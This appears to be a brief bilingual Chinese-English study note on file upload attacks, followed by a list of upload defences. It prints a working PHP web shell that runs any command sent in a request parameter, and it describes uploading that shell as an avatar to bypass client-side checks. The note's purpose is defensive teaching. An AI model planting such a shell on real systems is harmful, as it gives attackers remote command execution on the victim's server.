File Upload Injection
File Upload Attack
当使用 JS 代码限制上传文件类型时, 攻击者 disable JS in browser, 并上传 malicious code file:
// Malicious `web shell` code file
<?php
if (isset($_REQUEST['cmd'])) {
$cmd = ($_REQUEST['cmd']);
system($cmd);
} else {
echo 'What is your bidding?';
}
?>
一旦攻击者成功将 webShell.php 当成头像上传成功,
便可以在头像处执行 web shell 远程攻击.
File Upload Protection
对于用户上传文件:
- 隔离文件: host files on secure system.
- 禁止文件执行:
-x. - 重命名/哈希化文件: 防止攻击者找到此文件.
- 检查文件格式 (extension/
MIMEtype/Content-Type). - 检查文件内容.
- 检查
Content-Typeheader. - 扫描文件: virus scanner.